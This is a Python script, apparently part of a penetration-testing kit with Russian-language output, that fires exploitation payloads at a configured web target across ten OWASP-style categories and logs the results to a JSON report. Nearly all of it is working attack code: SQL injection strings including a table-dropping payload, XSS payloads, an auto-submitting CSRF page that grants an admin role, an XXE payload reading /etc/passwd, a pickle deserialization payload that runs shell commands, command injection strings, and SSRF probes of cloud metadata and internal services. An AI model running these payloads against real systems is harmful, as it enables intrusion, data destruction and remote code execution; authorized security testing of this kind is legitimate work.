exploit_all_owasp.py

#!/usr/bin/env python3
"""
Systematic exploitation checks for OWASP Top 10
Runs exploitation attempts and documents results
"""

from playwright.sync_api import sync_playwright
import requests
import json
import time
from datetime import datetime
import urllib3
urllib3.disable_warnings()
from pentestkit.config import get_base_urls, load_auth_tokens

class OWASPExploiter:
    def __init__(self):
        self.base_url, self.backend_api = get_base_urls()
        
        # Load tokens for authenticated tests
        self.cookies, self.storage, self.authenticated = load_auth_tokens()
        if not self.authenticated:
            print("⚠️  Токены не найдены - только неавторизованные тесты")
        
        self.session = requests.Session()
        self.session.verify = False
        self.exploits = []
        
    def log_exploit(self, category, severity, title, details, exploited=False):
        """Log exploitation attempt"""
        exploit = {
            "category": category,
            "severity": severity,
            "title": title,
            "details": details,
            "exploited": exploited,
            "timestamp": datetime.now().isoformat()
        }
        self.exploits.append(exploit)
        
        icon = "🔓" if exploited else "🔒"
        sev_icon = {"CRITICAL": "🔴", "HIGH": "🟠", "MEDIUM": "🟡", "LOW": "🔵"}
        print(f"{icon} {sev_icon.get(severity, '⚪')} [{category}] {title}")
        if details:
            print(f"   {details[:200]}")
    
    def section(self, title):
        print(f"\n{'='*70}")
        print(f"  {title}")
        print(f"{'='*70}\n")
    
    # ==================== A01: SQL Injection ====================
    def test_sql_injection(self):
        self.section("A01: SQL Injection")
        
        payloads = [
            "' OR '1'='1",
            "admin'--",
            "' OR 1=1--",
            "1' UNION SELECT NULL--",
            "' AND 1=CONVERT(int, (SELECT @@version))--",
            "'; DROP TABLE users--",
            "1' AND SLEEP(5)--",
        ]
        
        # Test in login form
        for payload in payloads:
            try:
                r = self.session.post(
                    f"{self.base_url}/login",
                    data={"login": payload, "password": "test"},
                    timeout=6
                )
                
                # Check signs of successful injection
                if r.status_code == 200 and '/login' not in r.url:
                    self.log_exploit("SQL Injection", "CRITICAL", 
                                   f"SQLi успешна: {payload[:30]}", 
                                   f"Обход аутентификации через SQLi", True)
                    return True
                elif 'error' in r.text.lower() and 'sql' in r.text.lower():
                    self.log_exploit("SQL Injection", "HIGH",
                                   "SQL error disclosure",
                                   f"Payload: {payload[:30]}", False)
            except Exception as e:
                if 'timeout' in str(e).lower():
                    self.log_exploit("SQL Injection", "HIGH",
                                   "Time-based SQLi возможна",
                                   f"Timeout на payload: {payload[:30]}", False)
        
        self.log_exploit("SQL Injection", "LOW", "SQLi заблокирована", 
                        "Все payload отклонены", False)
        return False
    
    # ==================== A02: XSS (Reflected) ====================
    def test_xss_reflected(self):
        self.section("A02: XSS - Reflected")
        
        payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "javascript:alert('XSS')",
            "<svg onload=alert('XSS')>",
            "'-alert('XSS')-'",
            "\"><script>alert(String.fromCharCode(88,83,83))</script>",
        ]
        
        for payload in payloads:
            try:
                r = self.session.get(
                    f"{self.base_url}",
                    params={"q": payload, "search": payload},
                    timeout=5
                )
                
                if payload in r.text:
                    self.log_exploit("XSS-Reflected", "HIGH",
                                   "Reflected XSS найден",
                                   f"Payload отражается: {payload[:50]}", True)
                    return True
            except:
                pass
        
        self.log_exploit("XSS-Reflected", "LOW", "XSS заблокирован",
                        "Payload не отражаются", False)
        return False
    
    # ==================== A03: XSS (Stored) ====================
    def test_xss_stored(self):
        self.section("A03: XSS - Stored")
        
        if not self.authenticated:
            self.log_exploit("XSS-Stored", "INFO", "Пропущено",
                           "Требуется авторизация", False)
            return False
        
        # Создаем браузер для теста
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            context = browser.new_context(ignore_https_errors=True)
            context.add_cookies(self.cookies)
            page = context.new_page()
            
            page.goto(self.base_url)
            token = self.storage.get('refresh_token') if isinstance(self.storage, dict) else None
            if token:
                page.evaluate(f"localStorage.setItem('refresh_token', '{token}');")
            page.reload()
            page.wait_for_timeout(2000)
            
            # Find forms
            inputs = page.locator("input[type='text'], textarea").all()
            
            if len(inputs) > 0:
                payload = "<script>alert('StoredXSS')</script>"
                try:
                    inputs[0].fill(payload)
                    
                    # Submit the form
                    submit = page.locator("button[type='submit']").first
                    if submit:
                        submit.click()
                        page.wait_for_timeout(2000)
                        
                        if payload in page.content():
                            self.log_exploit("XSS-Stored", "CRITICAL",
                                           "Stored XSS найден!",
                                           "Payload сохранен и отражается", True)
                            browser.close()
                            return True
                except:
                    pass
            
            browser.close()
        
        self.log_exploit("XSS-Stored", "LOW", "Stored XSS не найден",
                        "Payload не сохраняется", False)
        return False
    
    # ==================== A04: CSRF ====================
    def test_csrf(self):
        self.section("A04: CSRF")
        
        # Проверяем наличие CSRF токенов
        r = self.session.get(f"{self.base_url}/login")
        
        csrf_indicators = ['csrf', '_token', 'authenticity_token']
        has_csrf = any(ind in r.text.lower() for ind in csrf_indicators)
        
        # Проверяем SameSite cookie
        has_samesite = False
        for cookie in self.session.cookies:
            if cookie.get_nonstandard_attr('SameSite') == 'Strict':
                has_samesite = True
        
        if not has_csrf and not has_samesite:
            self.log_exploit("CSRF", "HIGH",
                           "CSRF protection missing",
                           "No CSRF tokens and SameSite cookies", True)
            
            # Create PoC
            poc = f"""
<html>
<body>
<form action="{self.backend_api}/api/v0/ved-web/user" method="POST" id="csrf">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
"""
            with open('csrf_poc.html', 'w') as f:
                f.write(poc)
            
            return True
        
        self.log_exploit("CSRF", "LOW", "CSRF защита присутствует",
                        f"CSRF tokens: {has_csrf}, SameSite: {has_samesite}", False)
        return False
    
    # ==================== A05: Broken Access Control / IDOR ====================
    def test_idor(self):
        self.section("A05: IDOR / Broken Access Control")
        
        if not self.authenticated:
            self.log_exploit("IDOR", "INFO", "Пропущено", "Требуется авторизация", False)
            return False
        
        # Тестируем с реальными UUID
        test_ids = [
            "00000000-0000-0000-0000-[REDACTED_PHONE]",
            "11111111-1111-1111-1111-[REDACTED_PHONE]",
            "[REDACTED_UUID]",
        ]
        
        endpoints = [
            "/api/v0/ved-web/user/",
            "/api/v0/ved-web/company/",
            "/api/v0/ved-web/contract/",
        ]
        
        for endpoint in endpoints:
            for test_id in test_ids:
                try:
                    r = self.session.get(
                        f"{self.backend_api}{endpoint}{test_id}",
                        cookies={c['name']: c['value'] for c in self.cookies},
                        timeout=5
                    )
                    
                    if r.status_code == 200 and 'error' not in r.text.lower():
                        self.log_exploit("IDOR", "CRITICAL",
                                       f"IDOR найден: {endpoint}",
                                       f"Доступ к {test_id}", True)
                        return True
                except:
                    pass
        
        self.log_exploit("IDOR", "LOW", "IDOR защита работает",
                        "Все запросы заблокированы", False)
        return False
    
    # ==================== A06: Open Redirect ====================
    def test_open_redirect(self):
        self.section("A06: Open Redirect")
        
        payloads = [
            "//evil.com",
            "https://evil.com",
            "javascript:alert('XSS')",
            "//google.com",
        ]
        
        for payload in payloads:
            try:
                r = self.session.get(
                    f"{self.base_url}/redirect",
                    params={"url": payload, "next": payload, "return": payload},
                    allow_redirects=False,
                    timeout=5
                )
                
                location = r.headers.get('Location', '')
                if payload in location or 'evil.com' in location:
                    self.log_exploit("Open Redirect", "MEDIUM",
                                   "Open Redirect найден",
                                   f"Редирект на: {location}", True)
                    return True
            except:
                pass
        
        self.log_exploit("Open Redirect", "LOW", "Open Redirect не найден",
                        "Редиректы контролируются", False)
        return False
    
    # ==================== A07: XXE ====================
    def test_xxe(self):
        self.section("A07: XXE (XML External Entity)")
        
        xxe_payload = """<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>"""
        
        try:
            r = self.session.post(
                f"{self.backend_api}/api/v0/ved-web/upload",
                data=xxe_payload,
                headers={'Content-Type': 'application/xml'},
                timeout=5
            )
            
            if 'root:' in r.text or '/bin/bash' in r.text:
                self.log_exploit("XXE", "CRITICAL",
                               "XXE успешна!",
                               "Чтение /etc/passwd", True)
                return True
        except:
            pass
        
        self.log_exploit("XXE", "LOW", "XXE заблокирована",
                        "XML парсинг безопасен", False)
        return False
    
    # ==================== A08: Insecure Deserialization ====================
    def test_deserialization(self):
        self.section("A08: Insecure Deserialization")
        
        # Python pickle payload
        import pickle
        import base64
        
        class Exploit:
            def __reduce__(self):
                import os
                return (os.system, ('echo pwned > /tmp/pwned',))
        
        try:
            payload = base64.b64encode(pickle.dumps(Exploit())).decode()
            
            r = self.session.post(
                f"{self.backend_api}/api/v0/ved-web/data",
                json={"data": payload},
                timeout=5
            )
            
            # Проверяем выполнение
            time.sleep(1)
            check = self.session.get(f"{self.base_url}/tmp/pwned", timeout=5)
            if check.status_code == 200:
                self.log_exploit("Deserialization", "CRITICAL",
                               "RCE через десериализацию!",
                               "Выполнение команд", True)
                return True
        except:
            pass
        
        self.log_exploit("Deserialization", "LOW", "Десериализация безопасна",
                        "Payload не выполнен", False)
        return False
    
    # ==================== A09: Command Injection ====================
    def test_command_injection(self):
        self.section("A09: OS Command Injection")
        
        payloads = [
            "; ls -la",
            "| whoami",
            "`id`",
            "$(cat /etc/passwd)",
            "&& ping -c 1 127.0.0.1",
        ]
        
        for payload in payloads:
            try:
                r = self.session.get(
                    f"{self.base_url}/api/ping",
                    params={"host": f"127.0.0.1{payload}"},
                    timeout=6
                )
                
                # Проверяем признаки выполнения
                if 'root' in r.text or 'uid=' in r.text or 'drwx' in r.text:
                    self.log_exploit("Command Injection", "CRITICAL",
                                   "Command Injection найдена!",
                                   f"Payload: {payload}", True)
                    return True
            except:
                pass
        
        self.log_exploit("Command Injection", "LOW", "Command Injection заблокирована",
                        "Все payload отклонены", False)
        return False
    
    # ==================== A10: SSRF ====================
    def test_ssrf(self):
        self.section("A10: SSRF (Server-Side Request Forgery)")
        
        payloads = [
            "http://[REDACTED_IP]/latest/meta-data/",  # AWS metadata
            "http://localhost:22",
            "http://127.0.0.1:6379",  # Redis
            "http://[::1]:80",
            "file:///etc/passwd",
        ]
        
        for payload in payloads:
            try:
                r = self.session.post(
                    f"{self.backend_api}/api/v0/ved-web/fetch",
                    json={"url": payload},
                    timeout=5
                )
                
                if r.status_code == 200 and len(r.text) > 10:
                    self.log_exploit("SSRF", "HIGH",
                                   "SSRF найдена!",
                                   f"Доступ к: {payload}", True)
                    return True
            except:
                pass
        
        self.log_exploit("SSRF", "LOW", "SSRF заблокирована",
                        "Внутренние запросы фильтруются", False)
        return False
    
    # ==================== GENERATE REPORT ====================
    def generate_report(self):
        self.section("ИТОГОВЫЙ ОТЧЕТ ЭКСПЛУАТАЦИИ")
        
        exploited = [e for e in self.exploits if e['exploited']]
        blocked = [e for e in self.exploits if not e['exploited']]
        
        print(f"\n📊 СТАТИСТИКА:")
        print(f"  Всего тестов: {len(self.exploits)}")
        print(f"  🔓 Эксплуатировано: {len(exploited)}")
        print(f"  🔒 Заблокировано: {len(blocked)}")
        
        if exploited:
            print(f"\n🔴 УСПЕШНЫЕ ЭКСПЛУАТАЦИИ:")
            for e in exploited:
                print(f"\n  • {e['category']}: {e['title']}")
                print(f"    {e['details']}")
        
        # Сохраняем отчет
        report_file = f"owasp_exploitation_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        with open(report_file, 'w') as f:
            json.dump({
                "test_date": datetime.now().isoformat(),
                "target": self.base_url,
                "total_tests": len(self.exploits),
                "exploited": len(exploited),
                "blocked": len(blocked),
                "exploits": self.exploits
            }, f, indent=2)
        
        print(f"\n📄 Отчет: {report_file}")
        return report_file
    
    # ==================== RUN ALL ====================
    def run_all(self):
        print(f"""
╔══════════════════════════════════════════════════════════════════╗
║           OWASP TOP 50 - EXPLOITATION TESTING                    ║
║           Target: {self.base_url}                                ║
╚══════════════════════════════════════════════════════════════════╝
        """)
        
        print(f"⏰ Начало: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        
        # Запускаем все тесты
        self.test_sql_injection()
        self.test_xss_reflected()
        self.test_xss_stored()
        self.test_csrf()
        self.test_idor()
        self.test_open_redirect()
        self.test_xxe()
        self.test_deserialization()
        self.test_command_injection()
        self.test_ssrf()
        
        # Генерируем отчет
        report = self.generate_report()
        
        print(f"\n✅ Эксплуатация завершена!")
        return report

if __name__ == "__main__":
    exploiter = OWASPExploiter()
    exploiter.run_all()